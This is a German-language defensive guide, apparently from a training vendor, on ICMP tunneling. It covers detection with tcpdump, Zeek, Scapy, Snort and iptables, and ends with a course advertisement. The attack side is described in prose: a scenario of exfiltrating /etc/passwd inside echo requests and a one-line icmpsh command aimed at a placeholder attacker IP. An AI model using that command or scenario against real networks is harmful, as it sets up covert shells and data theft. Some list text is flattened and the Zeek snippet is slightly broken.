
ICMP-Tunneling, manchmal auch "heimliche Ping-basierte Angriffe" genannt, ist eine unauffällige Netzwerktechnik, bei der böswillige Akteure Command-and-Control-(C2)-Verkehr oder Datenexfiltrationsaktivitäten in ansonsten harmlosen Internet Control Message Protocol (ICMP)-Paketen verbergen. Da ICMP – allgemein bekannt für ping-Anfragen – in der Regel unter dem Radar von Firewalls und Intrusion-Detection-Systemen bleibt, stellt es eine ernsthafte Herausforderung für IT-Sicherheitsteams dar.
In diesem Leitfaden erklären wir, was ICMP-Tunneling ist, wie Angreifer es implementieren, warum es eine attraktive Methode zur Umgehung ist und – am wichtigsten – wie Sicherheitsexperten und Netzwerkadministratoren ICMP-Tunnelangriffe erkennen und sich dagegen verteidigen können. Wir gehen von Einsteigererklärungen zu fortgeschrittener Erkennung über, einschließlich realer Beispiele und Codebeispiele zum Scannen, Überwachen und Analysieren von Netzwerkverkehr auf ICMP-Tunneling-Aktivitäten.
Das Internet Control Message Protocol (ICMP) ist ein grundlegender Bestandteil der Internet Protocol Suite. Es ist für Fehlermeldungen, Netzwerkdiagnosen und Statusmeldungen ausgelegt.
Wichtige Fakten:
ping), Ziel nicht erreichbar, Zeit überschritten und andere.ping, traceroute), Fehlermeldungen zwischen Netzwerkgeräten.Wenn Sie folgendes ausführen:
ping google.com
Generiert Ihr Computer eine Reihe von ICMP-Echo-Anforderungspaketen, und Google (wenn es Pings zulässt) antwortet mit ICMP-Echo-Antwortpaketen.
ICMP-Tunneling ist eine Technik, die beliebige Nutzdaten in ICMP-Paketen einkapselt. Diese Daten können Dateien zur Exfiltration, Shell-Befehle oder sogar eine vollständige TCP-Verbindung umfassen, alle versteckt in ansonsten normal aussehenden Ping-Anfragen oder -Antworten.
Da Organisationen oft ICMP-Verkehr durch ihre Perimeter-Firewalls für legitime Fehlersuche zulassen, nutzen Angreifer dieses Vertrauen aus, um versteckte Daten zu übermitteln oder Hintertüren in ein Netzwerk zu schaffen.
Definition:
ICMP-Tunneling ist eine geheime Kommunikationsmethode, bei der Angreifer bösartige oder unbefugte Daten in ICMP-Paketen codieren, um Netzwerkzugangskontrollen zu umgehen.
ICMP-Tunneling nutzt die Struktur von ICMP-Paketen – insbesondere Echo-Anforderungen/Antworten – um zusätzliche, versteckte Daten zu transportieren.
icmpsh, ptunnel oder benutzerdefinierten Skripten.Ein normales ICMP-Echo-Anforderungspaket könnte so aussehen:
| Feld | Beispielwert |
|---|---|
| Typ | 8 (Echo-Anforderung) |
| Code | 0 |
| Prüfsumme | 6920 |
| Kennung | 13 |
| Sequenznummer | 250 |
| Daten | „Hello, world!“ |
Ein ICMP-Tunnelangriff könnte Base64-codierte exfiltrierte Daten im "Daten"-Bereich platzieren.
Firewalls blockieren typischerweise direkte externe Verbindungen (z.B. ausgehende SSH, Exfiltration über HTTP/S).
ICMP wird jedoch häufig auf Whitelisten gesetzt, um Netzwerkfehlerbehebungen zu ermöglichen, selbst über organisatorische Grenzen hinweg.
Advanced Persistent Threat (APT)-Akteure verwenden ICMP-Tunnel, um kompromittierte Hosts zu verwalten, Befehle zu senden und Dateien zu extrahieren – alles ohne typische Netzwerkwarnungen auszulösen.
Eine Reihe von Open-Source-Sicherheitswerkzeuge unterstützen ICMP-Tunneling:
Eine Insider-Bedrohung oder Malware auf einem Arbeitsplatzrechner möchte sensible Dateien aus der Organisation schmuggeln.
Schritte:
/etc/passwd) werden aufgeteilt, codiert und in mehreren Echo-Anforderungen versteckt.Penetrationstester und Angreifer setzen Tools wie icmpsh ein:
icmpsh -t <angreifer_ip>.Berichte über APTs und Malware (insbesondere Backdoor.Win32.ICMPdoor) haben gezeigt, dass ICMP-Tunneling für persistente Zugriffe in Hochsicherheitsumgebungen genutzt wird, die sonst alle ausgehenden Verbindungen außer HTTP/HTTPS und ICMP blockieren.
Erkennung von ICMP-Tunneling basiert auf der Identifizierung anomaler Muster oder der Inspektion von ICMP-Paketnutzdaten.
Ein Paket-Capture-Tool, das oft zur Überprüfung von ICMP-Verkehr genutzt wird.
# Erfasse den gesamten ICMP-Verkehr, ausführliche Ausgabe
sudo tcpdump -n -v icmp
Beispiel für verdächtige Ausgabe (gekürzt):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
Hinweis: 1024 Bytes sind viel größer als normale Ping-ICMP-Nutzlasten!
Ein grafischer Paketanalysator.
icmpEin leistungsstarkes Netzwerküberwachungswerkzeug mit eingebauten ICMP-Skripten.
Skript zum Protokollieren abnormaler ICMP-Nutzdaten:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Protokolliere oder alarmiere bei großen Nutzlasten
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Große ICMP-Nutzlast von %s nach %s", c$id$orig_h, c$id$resp_h);
}
}
Bash-Beispiel: Alle ausgehenden Ping-Nutzdaten protokollieren.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Python-Beispiel: Pcap nach abnormalen ICMP-Nutzdaten durchsuchen
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Verdächtiges ICMP von {pkt[IP].src} nach {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
Regelmäßige Scans und Anomalieerkennung sind entscheidend, um ICMP-Tunnelmissbrauch proaktiv zu erkennen.
Verwenden Sie Tools wie ELK Stack, Zeek, Wireshark zur:
Größte ICMP-Pakete in Echtzeit finden:
sudo tcpdump -ni eth0 icmp and greater 200
Listet Paketgrößen aus Dump auf:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: Echo-Anfragen mit großen Nutzlasten melden
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Große ICMP Echo-Anfrage: {pkt[IP].src} -> {pkt[IP].dst}, Größe={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Beispiel: Blockieren Sie ausgehendes ICMP mit iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Beispiel für eine Snort-Regel:
alert icmp any any -> any any (msg:"Verdächtige ICMP-Nutzlastgröße"; dsize:>200; sid:1000001; rev:1;)
Forschung hat gezeigt, dass zustandslose Überwachung – das Verfolgen von Flüssen und Größen von ICMP-Paketen, nicht nur deren Status oder Sequenz – eine ressourcenschonende und skalierbare Methode zur Erkennung von Tunneling sein kann.
Laut Singh & Nordström können zustandslose Modelle effektiv verdeckte Kanäle ohne signifikante Auswirkungen auf Endgeräte oder Router - selbst in großem Maßstab - kennzeichnen.
ICMP-Tunneling stellt eine langsame und schleichende Bedrohung dar, die sich nahtlos in legitime Netzwerkoperationen einfügt, was die Erkennung und Abwehr für Blue Teams herausfordernd macht. Mit der weit verbreiteten Nutzung von ICMP für Diagnosetools und der Häufigkeit, mit der Organisationen derartigen Traffic durch ihre Firewalls erlauben, ist es ein bevorzugtes Mittel für Angreifer, die geheime Command-and-Control-Kanäle etablieren, sensible Daten exfiltrieren oder auf kompromittierte Hosts zugreifen.
Indem Sie die legitime ICMP-Aktivität Ihres Netzwerks als Maßstab nehmen und sowohl signatur- als auch anomale Erkennung einsetzen, kann Ihre Organisation diesen heimlichen Bedrohungsvektor neutralisieren, bevor er zu Datenverlust oder weiteren Kompromissen führt.
Sichern Sie Ihren Perimeter – und ignorieren Sie niemals den bescheidenen Ping!
Wenn Sie diesen Inhalt wertvoll fanden, stellen Sie sich vor, was Sie mit unserem umfassenden 47-wöchigen Elite-Trainingsprogramm erreichen könnten. Schließen Sie sich über 1.200 Studenten an, die ihre Karrieren mit den Techniken der Unit 8200 transformiert haben.